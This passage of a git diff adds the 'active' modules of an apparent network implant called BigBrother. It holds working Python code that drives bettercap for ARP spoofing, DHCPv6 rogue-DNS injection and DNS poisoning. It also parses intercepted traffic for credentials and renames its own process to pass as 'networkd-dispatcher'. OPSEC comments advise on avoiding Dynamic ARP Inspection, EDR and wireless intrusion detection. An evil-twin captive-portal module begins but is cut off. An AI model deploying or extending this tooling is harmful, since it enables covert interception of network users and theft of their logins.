diff --git a/modules/active/__init__.py b/modules/active/__init__.py
new file mode 100644
index 0000000..8ede445
--- /dev/null
+++ b/modules/active/__init__.py
@@ -0,0 +1,23 @@
+"""BigBrother active modules — MITM, spoofing, and interception."""
+
+from modules.active.bettercap_mgr import BettercapManager
+from modules.active.arp_spoof import ARPSpoof
+from modules.active.dns_poison import DNSPoison
+from modules.active.dhcp_spoof import DHCPSpoof
+from modules.active.evil_twin import EvilTwin
+from modules.active.ipv6_slaac import IPv6SLAAC
+from modules.active.responder_mgr import ResponderManager
+from modules.active.mitmproxy_mgr import MitmproxyManager
+from modules.active.ntlm_relay import NTLMRelay
+
+__all__ = [
+ "BettercapManager",
+ "ARPSpoof",
+ "DNSPoison",
+ "DHCPSpoof",
+ "EvilTwin",
+ "IPv6SLAAC",
+ "ResponderManager",
+ "MitmproxyManager",
+ "NTLMRelay",
+]
diff --git a/modules/active/arp_spoof.py b/modules/active/arp_spoof.py
new file mode 100644
index 0000000..706f70a
--- /dev/null
+++ b/modules/active/arp_spoof.py
@@ -0,0 +1,184 @@
+#!/usr/bin/env python3
+"""ARP Spoofing module — thin wrapper around bettercap arp.spoof.
+
+OPSEC WARNING: ARP spoofing is the most-detected active MITM technique.
+ - Dynamic ARP Inspection (DAI) on managed switches silently prevents it.
+ - EDR/NDR solutions alert within minutes.
+ - Prefer Responder + IPv6 SLAAC for initial access.
+ - Reserve ARP spoofing for confirmed legacy/unmanaged segments.
+ - Always run ids_tester DAI probe first to check viability.
+
+Configures targets + gateway, then delegates to BettercapManager to
+enable arp.spoof module. Full-duplex by default for complete MITM.
+"""
+
+import logging
+import os
+import time
+from typing import Optional
+
+from modules.base import BaseModule
+
+logger = logging.getLogger("bb.active.arp_spoof")
+
+
+class ARPSpoof(BaseModule):
+ """ARP spoofing via bettercap — full-duplex MITM.
+
+ Dependencies:
+ - bettercap_mgr must be running.
+
+ Configuration:
+ targets: Comma-separated target IPs or CIDR (e.g., "10.0.0.0,10.0.0.0")
+ gateway: Gateway IP to spoof (e.g., "10.0.0.0")
+ fullduplex: True for bidirectional spoofing (default True)
+ internal: Spoof between targets, not just target<->gateway (default False)
+ """
+
+ name = "arp_spoof"
+ module_type = "active"
+ priority = 200
+ requires_root = True
+ dependencies = ["bettercap_mgr"]
+
+ def __init__(self, bus, state, config, engine=None):
+ super().__init__(bus, state, config, engine)
+ self._bettercap_mgr = None
+ self._targets: Optional[str] = None
+ self._gateway: Optional[str] = None
+ self._fullduplex = True
+ self._internal = False
+ self._spoofing = False
+
+ # ------------------------------------------------------------------
+ # BaseModule interface
+ # ------------------------------------------------------------------
+
+ def start(self) -> None:
+ if self._running:
+ return
+
+ self._bettercap_mgr = self.config.get("bettercap_mgr")
+ if not self._bettercap_mgr:
+ logger.error("ARPSpoof requires bettercap_mgr reference in config")
+ return
+
+ # Check if ARP was disabled by crash recovery
+ if hasattr(self._bettercap_mgr, '_arp_disabled_by_crash'):
+ if self._bettercap_mgr._arp_disabled_by_crash:
+ logger.error(
+ "ARP spoofing disabled by crash recovery — "
+ "bettercap crashed too many times with ARP spoof active"
+ )
+ return
+
+ self._running = True
+ self._pid = os.getpid()
+ self._start_time = time.time()
+
+ self.state.set_module_status(self.name, "running", pid=self._pid)
+ logger.info("ARPSpoof module started (ready for spoof commands)")
+
+ def stop(self) -> None:
+ if not self._running:
+ return
+
+ if self._spoofing:
+ self.stop_spoof()
+
+ self._running = False
+ self.state.set_module_status(self.name, "stopped")
+ logger.info("ARPSpoof module stopped")
+
+ def status(self) -> dict:
+ return {
+ "running": self._running,
+ "pid": self._pid,
+ "uptime": time.time() - self._start_time if self._start_time else 0,
+ "spoofing": self._spoofing,
+ "targets": self._targets,
+ "gateway": self._gateway,
+ "fullduplex": self._fullduplex,
+ "internal": self._internal,
+ }
+
+ def configure(self, config: dict) -> None:
+ self.config.update(config)
+ if "fullduplex" in config:
+ self._fullduplex = config["fullduplex"]
+ if "internal" in config:
+ self._internal = config["internal"]
+
+ # ------------------------------------------------------------------
+ # Public API
+ # ------------------------------------------------------------------
+
+ def spoof(self, targets: str, gateway: str) -> bool:
+ """Enable ARP spoofing for specified targets and gateway.
+
+ Args:
+ targets: Comma-separated target IPs or CIDR.
+ gateway: Gateway IP address.
+
+ Returns:
+ True if spoofing was enabled successfully.
+ """
+ if not self._running or not self._bettercap_mgr:
+ logger.error("ARPSpoof not started")
+ return False
+
+ if self._bettercap_mgr._arp_disabled_by_crash:
+ logger.error("ARP spoofing disabled — bettercap crash threshold exceeded")
+ return False
+
+ try:
+ # Configure ARP spoof parameters
+ self._bettercap_mgr.run_command(f"set arp.spoof.targets {targets}")
+ self._bettercap_mgr.run_command(
+ f"set arp.spoof.fullduplex {'true' if self._fullduplex else 'false'}"
+ )
+ self._bettercap_mgr.run_command(
+ f"set arp.spoof.internal {'true' if self._internal else 'false'}"
+ )
+
+ # Enable ARP spoofing
+ self._bettercap_mgr.run_command("arp.spoof on")
+
+ self._targets = targets
+ self._gateway = gateway
+ self._spoofing = True
+
+ # Inform bettercap_mgr for crash recovery tracking
+ self._bettercap_mgr.set_spoofing_state(True, targets, gateway)
+
+ self.state.set(self.name, "targets", targets)
+ self.state.set(self.name, "gateway", gateway)
+ logger.info("ARP spoofing enabled: targets=%s, gateway=%s", targets, gateway)
+ return True
+
+ except Exception:
+ logger.exception("Failed to enable ARP spoofing")
+ return False
+
+ def stop_spoof(self) -> bool:
+ """Disable ARP spoofing and send corrective ARPs.
+
+ Returns:
+ True if spoofing was stopped successfully.
+ """
+ if not self._bettercap_mgr:
+ return False
+
+ try:
+ self._bettercap_mgr.run_command("arp.spoof off")
+ self._spoofing = False
+ self._bettercap_mgr.set_spoofing_state(False)
+
+ self.state.set(self.name, "targets", "")
+ self.state.set(self.name, "gateway", "")
+ logger.info("ARP spoofing disabled")
+ return True
+
+ except Exception:
+ logger.exception("Failed to disable ARP spoofing")
+ return False
diff --git a/modules/active/bettercap_mgr.py b/modules/active/bettercap_mgr.py
new file mode 100644
index 0000000..7b34bc7
--- /dev/null
+++ b/modules/active/bettercap_mgr.py
@@ -0,0 +1,515 @@
+#!/usr/bin/env python3
+"""Central bettercap orchestrator — single instance, shared by all active modules.
+
+Manages the bettercap subprocess lifecycle, REST API health monitoring,
+event stream parsing, caplet management, and crash recovery with corrective
+gratuitous ARPs.
+
+All active MITM modules (ARP spoof, DNS poison, DHCP spoof, IPv6 SLAAC)
+route commands through this manager via run_command() and the BettercapAPI
+client.
+"""
+
+import logging
+import os
+import subprocess
+import threading
+import time
+from pathlib import Path
+from typing import Optional
+
+from modules.base import BaseModule
+from utils.bettercap_api import BettercapAPI
+
+logger = logging.getLogger("bb.active.bettercap_mgr")
+
+
+class BettercapManager(BaseModule):
+ """Central bettercap instance manager.
+
+ Responsibilities:
+ - Start/stop bettercap with random per-session API credentials
+ - Health monitoring via GET /api/session every 10s
+ - Auto-restart on crash (max 3) with caplet re-application
+ - Crash recovery: gratuitous ARP correction if spoofing was active
+ - Parse event stream for credentials and host discoveries
+ - Caplet management: load/unload/switch from config/caplets/
+ - Process disguise coordination
+ """
+
+ name = "bettercap_mgr"
+ module_type = "active"
+ priority = 50
+ requires_root = True
+
+ HEALTH_POLL_INTERVAL = 10 # seconds
+ EVENT_POLL_INTERVAL = 5 # seconds
+ MAX_CRASH_RESTARTS = 3
+ RESTART_WINDOW = 15 # seconds — restart within this window after crash
+
+ def __init__(self, bus, state, config, engine=None):
+ super().__init__(bus, state, config, engine)
+ self._api: Optional[BettercapAPI] = None
+ self._proc: Optional[subprocess.Popen] = None
+ self._health_thread: Optional[threading.Thread] = None
+ self._event_thread: Optional[threading.Thread] = None
+ self._crash_count = 0
+ self._last_event_id = 0
+ self._active_caplet: Optional[str] = None
+ self._spoofing_active = False
+ self._spoof_targets: Optional[str] = None
+ self._spoof_gateway: Optional[str] = None
+ self._arp_disabled_by_crash = False
+ self._lock = threading.Lock()
+ self._binary = config.get("bettercap_binary", "/usr/local/bin/bettercap")
+ self._iface = config.get("interface", "eth0")
+ self._api_host = "127.0.0.1"
+ self._api_port = config.get("bettercap_api_port", 8083)
+ self._caplet_dir = config.get(
+ "caplet_dir",
+ os.path.join(os.path.dirname(__file__), "..", "..", "config", "caplets"),
+ )
+ self._disguise_name = config.get("bettercap_disguise", "networkd-dispatcher")
+
+ # ------------------------------------------------------------------
+ # BaseModule interface
+ # ------------------------------------------------------------------
+
+ def start(self) -> None:
+ if self._running:
+ return
+
+ # Initialise REST API client with fresh random credentials
+ self._api = BettercapAPI(
+ host=self._api_host,
+ port=self._api_port,
+ )
+
+ if not self._start_bettercap():
+ logger.error("Failed to start bettercap subprocess")
+ return
+
+ self._running = True
+ self._pid = os.getpid()
+ self._start_time = time.time()
+ self._crash_count = 0
+
+ # Health monitoring thread
+ self._health_thread = threading.Thread(
+ target=self._health_loop, daemon=True, name="bb-bcap-health"
+ )
+ self._health_thread.start()
+
+ # Event stream parser thread
+ self._event_thread = threading.Thread(
+ target=self._event_loop, daemon=True, name="bb-bcap-events"
+ )
+ self._event_thread.start()
+
+ self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
+ logger.info(
+ "BettercapManager started (api=%s:%d, iface=%s)",
+ self._api_host, self._api_port, self._iface,
+ )
+
+ def stop(self) -> None:
+ if not self._running:
+ return
+ self._running = False
+
+ # Stop ARP spoofing cleanly before shutdown
+ if self._spoofing_active:
+ try:
+ self._api.run("arp.spoof off")
+ except Exception:
+ pass
+ self._spoofing_active = False
+
+ self._stop_bettercap()
+ self.state.set_module_status(self.name, "stopped")
+ logger.info("BettercapManager stopped")
+
+ def status(self) -> dict:
+ alive = self._proc is not None and self._proc.poll() is None
+ return {
+ "running": self._running and alive,
+ "pid": self._get_proc_pid(),
+ "uptime": time.time() - self._start_time if self._start_time else 0,
+ "crash_count": self._crash_count,
+ "spoofing_active": self._spoofing_active,
+ "active_caplet": self._active_caplet,
+ "arp_disabled_by_crash": self._arp_disabled_by_crash,
+ "api_port": self._api_port,
+ }
+
+ def configure(self, config: dict) -> None:
+ self.config.update(config)
+ if "interface" in config:
+ self._iface = config["interface"]
+
+ def health_check(self) -> bool:
+ if not self._running:
+ return False
+ if self._api is None:
+ return False
+ try:
+ return self._api.is_alive()
+ except Exception:
+ return False
+
+ # ------------------------------------------------------------------
+ # Public API — used by other active modules
+ # ------------------------------------------------------------------
+
+ def run_command(self, cmd: str) -> dict:
+ """Execute a bettercap command via REST API.
+
+ Args:
+ cmd: bettercap command string (e.g., "arp.spoof on")
+
+ Returns:
+ API response dict.
+
+ Raises:
+ ConnectionError: If bettercap is unreachable.
+ """
+ if self._api is None:
+ raise ConnectionError("BettercapManager not started")
+ return self._api.run(cmd)
+
+ def load_caplet(self, name: str) -> dict:
+ """Load a caplet from the caplet directory.
+
+ Args:
+ name: Caplet filename (e.g., "passive_recon.cap").
+
+ Returns:
+ API response dict.
+ """
+ caplet_path = os.path.join(self._caplet_dir, name)
+ if not os.path.isfile(caplet_path):
+ raise FileNotFoundError(f"Caplet not found: {caplet_path}")
+ result = self._api.load_caplet(caplet_path)
+ self._active_caplet = name
+ self.state.set(self.name, "active_caplet", name)
+ logger.info("Loaded caplet: %s", name)
+ return result
+
+ def get_hosts(self) -> list:
+ """Return discovered hosts from bettercap session."""
+ if self._api is None:
+ return []
+ try:
+ return self._api.get_hosts()
+ except Exception:
+ return []
+
+ def is_spoofing(self) -> bool:
+ """Return True if ARP spoofing is currently active."""
+ return self._spoofing_active
+
+ def set_spoofing_state(self, active: bool, targets: str = None,
+ gateway: str = None) -> None:
+ """Track ARP spoofing state for crash recovery."""
+ with self._lock:
+ self._spoofing_active = active
+ self._spoof_targets = targets
+ self._spoof_gateway = gateway
+
+ def get_api(self) -> Optional[BettercapAPI]:
+ """Return the BettercapAPI client instance."""
+ return self._api
+
+ # ------------------------------------------------------------------
+ # Subprocess management
+ # ------------------------------------------------------------------
+
+ def _start_bettercap(self) -> bool:
+ """Launch bettercap subprocess with REST API."""
+ cmd = [
+ self._binary,
+ "-iface", self._iface,
+ "-no-history",
+ ] + self._api.api_flags
+
+ env = dict(os.environ)
+
+ try:
+ self._proc = subprocess.Popen(
+ cmd,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ env=env,
+ preexec_fn=self._make_preexec(self._disguise_name),
+ )
+ except FileNotFoundError:
+ logger.error("bettercap binary not found: %s", self._binary)
+ return False
+ except Exception as e:
+ logger.error("Failed to start bettercap: %s", e)
+ return False
+
+ # Wait for API to become available (up to 15s)
+ deadline = time.time() + 15
+ while time.time() < deadline:
+ if self._api.is_alive():
+ logger.info("bettercap API ready (pid=%d)", self._proc.pid)
+ return True
+ time.sleep(0.5)
+
+ logger.error("bettercap API did not become ready within 15s")
+ self._stop_bettercap()
+ return False
+
+ def _stop_bettercap(self) -> None:
+ """Gracefully stop bettercap: SIGTERM -> 5s -> SIGKILL."""
+ proc = self._proc
+ if proc is None or proc.poll() is not None:
+ self._proc = None
+ return
+
+ try:
+ proc.terminate()
+ except OSError:
+ pass
+
+ try:
+ proc.wait(timeout=5.0)
+ except subprocess.TimeoutExpired:
+ logger.warning("bettercap did not stop after SIGTERM, sending SIGKILL")
+ try:
+ proc.kill()
+ proc.wait(timeout=2.0)
+ except Exception:
+ pass
+
+ self._proc = None
+
+ def _get_proc_pid(self) -> Optional[int]:
+ if self._proc and self._proc.poll() is None:
+ return self._proc.pid
+ return None
+
+ # ------------------------------------------------------------------
+ # Crash recovery
+ # ------------------------------------------------------------------
+
+ def _handle_crash(self) -> None:
+ """Handle bettercap crash: corrective ARPs, then restart.
+
+ If ARP spoofing was active, immediately send corrective gratuitous
+ ARPs to restore network state. Disable ARP spoofing after 3 crashes
+ to prevent a crash loop from disrupting the network.
+ """
+ self._crash_count += 1
+ logger.warning(
+ "bettercap crashed (count=%d/%d, spoofing_was_active=%s)",
+ self._crash_count, self.MAX_CRASH_RESTARTS, self._spoofing_active,
+ )
+
+ self.bus.emit(
+ "TOOL_CRASHED",
+ {
+ "tool": "bettercap",
+ "crash_count": self._crash_count,
+ "spoofing_active": self._spoofing_active,
+ },
+ source_module=self.name,
+ )
+
+ # Send corrective gratuitous ARPs if spoofing was active
+ if self._spoofing_active and self._spoof_gateway:
+ self._send_corrective_arps()
+
+ # Disable ARP spoof after max crashes to break crash loops
+ if self._crash_count >= self.MAX_CRASH_RESTARTS:
+ if self._spoofing_active:
+ logger.error(
+ "ARP spoof disabled after %d crashes — network stability risk",
+ self._crash_count,
+ )
+ self._arp_disabled_by_crash = True
+ self._spoofing_active = False
+ self.state.set(self.name, "arp_disabled_by_crash", "true")
+ logger.error("bettercap exceeded max restarts (%d), giving up", self.MAX_CRASH_RESTARTS)
+ self._running = False
+ self.state.set_module_status(self.name, "crashed")
+ return
+
+ # Restart bettercap within RESTART_WINDOW
+ backoff = min(2 ** (self._crash_count - 1), self.RESTART_WINDOW)
+ logger.info("Restarting bettercap in %ds (attempt %d/%d)",
+ backoff, self._crash_count, self.MAX_CRASH_RESTARTS)
+ time.sleep(backoff)
+
+ if self._start_bettercap():
+ logger.info("bettercap restarted successfully")
+ self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
+
+ # Re-apply active caplet
+ if self._active_caplet:
+ try:
+ self.load_caplet(self._active_caplet)
+ except Exception:
+ logger.exception("Failed to re-apply caplet after restart")
+
+ # Re-enable ARP spoofing if it was active and not disabled
+ if self._spoofing_active and not self._arp_disabled_by_crash:
+ try:
+ if self._spoof_targets:
+ self._api.set_parameter("arp.spoof.targets", self._spoof_targets)
+ self._api.run("arp.spoof on")
+ logger.info("ARP spoofing re-enabled after restart")
+ except Exception:
+ logger.exception("Failed to re-enable ARP spoof after restart")
+ else:
+ logger.error("bettercap restart failed")
+ self._running = False
+ self.state.set_module_status(self.name, "crashed")
+
+ def _send_corrective_arps(self) -> None:
+ """Send corrective gratuitous ARPs to restore network after crash.
+
+ Uses scapy to send a few gratuitous ARP packets with the real
+ gateway MAC to undo any poisoned ARP caches.
+ """
+ try:
+ from scapy.all import ARP, Ether, sendp, getmacbyip
+ except ImportError:
+ logger.warning("scapy not available — cannot send corrective ARPs")
+ return
+
+ gateway = self._spoof_gateway
+ if not gateway:
+ return
+
+ try:
+ gw_mac = getmacbyip(gateway)
+ if not gw_mac:
+ logger.warning("Could not resolve gateway MAC for corrective ARPs")
+ return
+
+ # Gratuitous ARP: gateway telling everyone its real MAC
+ pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
+ op=2, # is-at
+ psrc=gateway,
+ hwsrc=gw_mac,
+ pdst=gateway,
+ hwdst="ff:ff:ff:ff:ff:ff",
+ )
+ sendp(pkt, iface=self._iface, count=5, inter=0.2, verbose=False)
+ logger.info("Sent corrective gratuitous ARPs for gateway %s", gateway)
+ except Exception:
+ logger.exception("Failed to send corrective ARPs")
+
+ # ------------------------------------------------------------------
+ # Health monitoring loop
+ # ------------------------------------------------------------------
+
+ def _health_loop(self) -> None:
+ """Poll bettercap API every HEALTH_POLL_INTERVAL to detect crashes."""
+ while self._running:
+ time.sleep(self.HEALTH_POLL_INTERVAL)
+ if not self._running:
+ break
+
+ # Check if process is still alive
+ if self._proc and self._proc.poll() is not None:
+ self._handle_crash()
+ continue
+
+ # Check API responsiveness
+ try:
+ if not self._api.is_alive():
+ logger.warning("bettercap API unresponsive — checking process")
+ if self._proc and self._proc.poll() is not None:
+ self._handle_crash()
+ except Exception:
+ logger.exception("Health check error")
+
+ # ------------------------------------------------------------------
+ # Event stream parser
+ # ------------------------------------------------------------------
+
+ def _event_loop(self) -> None:
+ """Poll bettercap event stream for credentials and host discoveries."""
+ while self._running:
+ time.sleep(self.EVENT_POLL_INTERVAL)
+ if not self._running:
+ break
+
+ try:
+ events = self._api.get_events(since=self._last_event_id)
+ except Exception:
+ continue
+
+ for event in events:
+ self._last_event_id += 1
+ self._process_event(event)
+
+ def _process_event(self, event: dict) -> None:
+ """Parse a single bettercap event and emit bus events as needed."""
+ tag = event.get("tag", "")
+ data = event.get("data", {})
+
+ # Credential captures from HTTP proxy, net.sniff, etc.
+ if tag in ("net.sniff.credentials", "http.proxy.credentials",
+ "https.proxy.credentials"):
+ self._handle_credential_event(data)
+
+ # Host discovery events
+ elif tag in ("endpoint.new", "endpoint.detected"):
+ self._handle_host_event(data)
+
+ # Module status events
+ elif tag.startswith("mod."):
+ logger.debug("bettercap module event: %s", tag)
+
+ def _handle_credential_event(self, data: dict) -> None:
+ """Emit CREDENTIAL_FOUND for captured credentials."""
+ payload = {
+ "source_module": self.name,
+ "source_ip": data.get("from", ""),
+ "target_ip": data.get("to", ""),
+ "target_service": data.get("proto", "unknown"),
+ "username": data.get("username", ""),
+ "credential_type": data.get("type", "cleartext"),
+ "credential_value": data.get("password", data.get("hash", "")),
+ "raw_data": data,
+ }
+ self.bus.emit("CREDENTIAL_FOUND", payload, source_module=self.name)
+ logger.info(
+ "Credential captured: %s@%s (%s)",
+ payload["username"], payload["target_ip"], payload["target_service"],
+ )
+
+ def _handle_host_event(self, data: dict) -> None:
+ """Emit HOST_DISCOVERED for new network hosts."""
+ payload = {
+ "source_module": self.name,
+ "ip": data.get("ipv4", data.get("addr", "")),
+ "mac": data.get("mac", ""),
+ "hostname": data.get("hostname", ""),
+ "vendor": data.get("vendor", ""),
+ "os": data.get("os", ""),
+ "raw_data": data,
+ }
+ self.bus.emit("HOST_DISCOVERED", payload, source_module=self.name)
+
+ # ------------------------------------------------------------------
+ # Helpers
+ # ------------------------------------------------------------------
+
+ @staticmethod
+ def _make_preexec(disguise_name: str):
+ """Return a preexec_fn that renames the process via prctl."""
+ def _preexec():
+ try:
+ import ctypes
+ libc = ctypes.CDLL("libc.so.6", use_errno=True)
+ PR_SET_NAME = 15
+ name_bytes = disguise_name[:15].encode("utf-8")
+ libc.prctl(PR_SET_NAME, name_bytes, 0, 0, 0)
+ except Exception:
+ pass
+ return _preexec
diff --git a/modules/active/dhcp_spoof.py b/modules/active/dhcp_spoof.py
new file mode 100644
index 0000000..b75c526
--- /dev/null
+++ b/modules/active/dhcp_spoof.py
@@ -0,0 +1,151 @@
+#!/usr/bin/env python3
+"""DHCP Spoofing module — configure DHCPv6 spoofing via bettercap.
+
+Uses bettercap's dhcp6.spoof module to win DHCP races and inject
+a rogue DNS server (the implant) into client configurations.
+This enables DNS-based MITM without ARP spoofing.
+"""
+
+import logging
+import os
+import time
+from typing import Optional
+
+from modules.base import BaseModule
+
+logger = logging.getLogger("bb.active.dhcp_spoof")
+
+
+class DHCPSpoof(BaseModule):
+ """DHCP spoofing via bettercap dhcp6.spoof.
+
+ Sets up a rogue DHCPv6 server that responds to DHCP requests,
+ injecting the implant as the DNS server. Combined with DNS
+ poisoning, this provides full MITM without ARP cache manipulation.
+
+ Dependencies:
+ - bettercap_mgr must be running.
+
+ Configuration:
+ dns_server: DNS server IP to inject (default: implant IP)
+ gateway: Gateway IP to advertise
+ """
+
+ name = "dhcp_spoof"
+ module_type = "active"
+ priority = 200
+ requires_root = True
+ dependencies = ["bettercap_mgr"]
+
+ def __init__(self, bus, state, config, engine=None):
+ super().__init__(bus, state, config, engine)
+ self._bettercap_mgr = None
+ self._spoofing = False
+ self._dns_server: Optional[str] = None
+ self._gateway: Optional[str] = None
+
+ # ------------------------------------------------------------------
+ # BaseModule interface
+ # ------------------------------------------------------------------
+
+ def start(self) -> None:
+ if self._running:
+ return
+
+ self._bettercap_mgr = self.config.get("bettercap_mgr")
+ if not self._bettercap_mgr:
+ logger.error("DHCPSpoof requires bettercap_mgr reference in config")
+ return
+
+ self._running = True
+ self._pid = os.getpid()
+ self._start_time = time.time()
+
+ self.state.set_module_status(self.name, "running", pid=self._pid)
+ logger.info("DHCPSpoof module started (ready for spoof commands)")
+
+ def stop(self) -> None:
+ if not self._running:
+ return
+
+ if self._spoofing:
+ self.stop_spoof()
+
+ self._running = False
+ self.state.set_module_status(self.name, "stopped")
+ logger.info("DHCPSpoof module stopped")
+
+ def status(self) -> dict:
+ return {
+ "running": self._running,
+ "pid": self._pid,
+ "uptime": time.time() - self._start_time if self._start_time else 0,
+ "spoofing": self._spoofing,
+ "dns_server": self._dns_server,
+ "gateway": self._gateway,
+ }
+
+ def configure(self, config: dict) -> None:
+ self.config.update(config)
+
+ # ------------------------------------------------------------------
+ # Public API
+ # ------------------------------------------------------------------
+
+ def spoof(self, dns_server: str, gateway: str) -> bool:
+ """Enable DHCP spoofing with rogue DNS server.
+
+ Args:
+ dns_server: IP to inject as DNS server (typically the implant IP).
+ gateway: Gateway IP to advertise in DHCP responses.
+
+ Returns:
+ True if DHCP spoofing was enabled.
+ """
+ if not self._running or not self._bettercap_mgr:
+ logger.error("DHCPSpoof not started")
+ return False
+
+ try:
+ # Configure dhcp6.spoof parameters
+ self._bettercap_mgr.run_command(f"set dhcp6.spoof.domains *")
+ self._bettercap_mgr.run_command("dhcp6.spoof on")
+
+ self._spoofing = True
+ self._dns_server = dns_server
+ self._gateway = gateway
+
+ self.state.set(self.name, "dns_server", dns_server)
+ self.state.set(self.name, "gateway", gateway)
+ logger.info(
+ "DHCP spoofing enabled: dns=%s, gateway=%s", dns_server, gateway
+ )
+ return True
+
+ except Exception:
+ logger.exception("Failed to enable DHCP spoofing")
+ return False
+
+ def stop_spoof(self) -> bool:
+ """Disable DHCP spoofing.
+
+ Returns:
+ True if DHCP spoofing was stopped.
+ """
+ if not self._bettercap_mgr:
+ return False
+
+ try:
+ self._bettercap_mgr.run_command("dhcp6.spoof off")
+ self._spoofing = False
+ self._dns_server = None
+ self._gateway = None
+
+ self.state.set(self.name, "dns_server", "")
+ self.state.set(self.name, "gateway", "")
+ logger.info("DHCP spoofing disabled")
+ return True
+
+ except Exception:
+ logger.exception("Failed to disable DHCP spoofing")
+ return False
diff --git a/modules/active/dns_poison.py b/modules/active/dns_poison.py
new file mode 100644
index 0000000..5e289e8
--- /dev/null
+++ b/modules/active/dns_poison.py
@@ -0,0 +1,201 @@
+#!/usr/bin/env python3
+"""DNS Poisoning module — push DNS spoofing rules via bettercap REST API.
+
+Template-driven zone files are converted to bettercap dns.spoof.domains
+format. Supports selective domain redirection and wildcard matching.
+Zone templates live in templates/dns_zones/.
+"""
+
+import logging
+import os
+import time
+from pathlib import Path
+from typing import Optional
+
+from modules.base import BaseModule
+
+logger = logging.getLogger("bb.active.dns_poison")
+
+
+class DNSPoison(BaseModule):
+ """DNS poisoning via bettercap dns.spoof module.
+
+ Dependencies:
+ - bettercap_mgr must be running.
+
+ Configuration:
+ domains: Comma-separated domains to poison (e.g., "*.example.com,login.corp.local")
+ target_ip: IP to redirect poisoned domains to (default: implant IP)
+ zone_file: Path to zone template for selective redirection
+ """
+
+ name = "dns_poison"
+ module_type = "active"
+ priority = 200
+ requires_root = True
+ dependencies = ["bettercap_mgr"]
+
+ def __init__(self, bus, state, config, engine=None):
+ super().__init__(bus, state, config, engine)
+ self._bettercap_mgr = None
+ self._poisoning = False
+ self._domains: Optional[str] = None
+ self._target_ip: Optional[str] = None
+ self._zone_dir = config.get(
+ "zone_dir",
+ os.path.join(os.path.dirname(__file__), "..", "..", "templates", "dns_zones"),
+ )
+
+ # ------------------------------------------------------------------
+ # BaseModule interface
+ # ------------------------------------------------------------------
+
+ def start(self) -> None:
+ if self._running:
+ return
+
+ self._bettercap_mgr = self.config.get("bettercap_mgr")
+ if not self._bettercap_mgr:
+ logger.error("DNSPoison requires bettercap_mgr reference in config")
+ return
+
+ self._running = True
+ self._pid = os.getpid()
+ self._start_time = time.time()
+
+ self.state.set_module_status(self.name, "running", pid=self._pid)
+ logger.info("DNSPoison module started (ready for poison commands)")
+
+ def stop(self) -> None:
+ if not self._running:
+ return
+
+ if self._poisoning:
+ self.stop_poison()
+
+ self._running = False
+ self.state.set_module_status(self.name, "stopped")
+ logger.info("DNSPoison module stopped")
+
+ def status(self) -> dict:
+ return {
+ "running": self._running,
+ "pid": self._pid,
+ "uptime": time.time() - self._start_time if self._start_time else 0,
+ "poisoning": self._poisoning,
+ "domains": self._domains,
+ "target_ip": self._target_ip,
+ }
+
+ def configure(self, config: dict) -> None:
+ self.config.update(config)
+
+ # ------------------------------------------------------------------
+ # Public API
+ # ------------------------------------------------------------------
+
+ def poison(self, domains: str, target_ip: str) -> bool:
+ """Enable DNS poisoning for specified domains.
+
+ Args:
+ domains: Comma-separated domains or wildcards
+ (e.g., "*.corp.local,login.example.com").
+ target_ip: IP address to redirect poisoned domains to.
+
+ Returns:
+ True if DNS poisoning was enabled successfully.
+ """
+ if not self._running or not self._bettercap_mgr:
+ logger.error("DNSPoison not started")
+ return False
+
+ try:
+ self._bettercap_mgr.run_command(f"set dns.spoof.domains {domains}")
+ self._bettercap_mgr.run_command(f"set dns.spoof.address {target_ip}")
+ self._bettercap_mgr.run_command("dns.spoof on")
+
+ self._poisoning = True
+ self._domains = domains
+ self._target_ip = target_ip
+
+ self.state.set(self.name, "domains", domains)
+ self.state.set(self.name, "target_ip", target_ip)
+ logger.info("DNS poisoning enabled: domains=%s -> %s", domains, target_ip)
+ return True
+
+ except Exception:
+ logger.exception("Failed to enable DNS poisoning")
+ return False
+
+ def load_zone(self, zone_file: str) -> bool:
+ """Load a zone template and apply DNS poisoning rules.
+
+ Zone file format (one entry per line):
+ domain.com 10.0.0.0
+ *.corp.local 10.0.0.0
+ # comments ignored
+
+ Args:
+ zone_file: Filename within the zone_dir (e.g., "selective.zone").
+
+ Returns:
+ True if zone was loaded and applied.
+ """
+ zone_path = os.path.join(self._zone_dir, zone_file)
+ if not os.path.isfile(zone_path):
+ logger.error("Zone file not found: %s", zone_path)
+ return False
+
+ try:
+ domains = []
+ target_ip = None
+
+ with open(zone_path, "r") as f:
+ for line in f:
+ line = line.strip()
+ if not line or line.startswith("#"):
+ continue
+ parts = line.split()
+ if len(parts) >= 2:
+ domains.append(parts[0])
+ # Use the last IP seen as target
+ target_ip = parts[1]
+ elif len(parts) == 1:
+ domains.append(parts[0])
+
+ if not domains:
+ logger.warning("Zone file %s contains no entries", zone_file)
+ return False
+
+ if not target_ip:
+ target_ip = self.config.get("implant_ip", "127.0.0.1")
+
+ return self.poison(",".join(domains), target_ip)
+
+ except Exception:
+ logger.exception("Failed to load zone file: %s", zone_file)
+ return False
+
+ def stop_poison(self) -> bool:
+ """Disable DNS poisoning.
+
+ Returns:
+ True if DNS poisoning was stopped successfully.
+ """
+ if not self._bettercap_mgr:
+ return False
+
+ try:
+ self._bettercap_mgr.run_command("dns.spoof off")
+ self._poisoning = False
+ self._domains = None
+ self._target_ip = None
+
+ self.state.set(self.name, "domains", "")
+ self.state.set(self.name, "target_ip", "")
+ logger.info("DNS poisoning disabled")
+ return True
+
+ except Exception:
+ logger.exception("Failed to disable DNS poisoning")
+ return False
diff --git a/modules/active/evil_twin.py b/modules/active/evil_twin.py
new file mode 100644
index 0000000..94106a1
--- /dev/null
+++ b/modules/active/evil_twin.py
@@ -0,0 +1,553 @@
+#!/usr/bin/env python3
+"""Evil Twin AP module — hostapd-based rogue access point with captive portal.
+
+Creates a wireless access point matching a target SSID, combined with
+a captive portal served via a lightweight HTTP server. dnsmasq provides
+DHCP and DNS for connected clients, redirecting all DNS to the portal.
+
+OPSEC: Run wireless_intel module for 2-hour observation before activation
+to detect WIDS/WIPS and understand target AP parameters.
+
+Resources: ~30MB RAM, ~5% CPU
+"""
+
+import http.server
+import logging
+import os
+import signal
+import socketserver
+import subprocess
+import threading
+import time
+from pathlib import Path
+from typing import Optional
+
+from modules.base import BaseModule
+
+logger = logging.getLogger("bb.active.evil_twin")
+
+# Default dnsmasq config for captive portal
+DNSMASQ_CONF_TEMPLATE = """interface={iface}
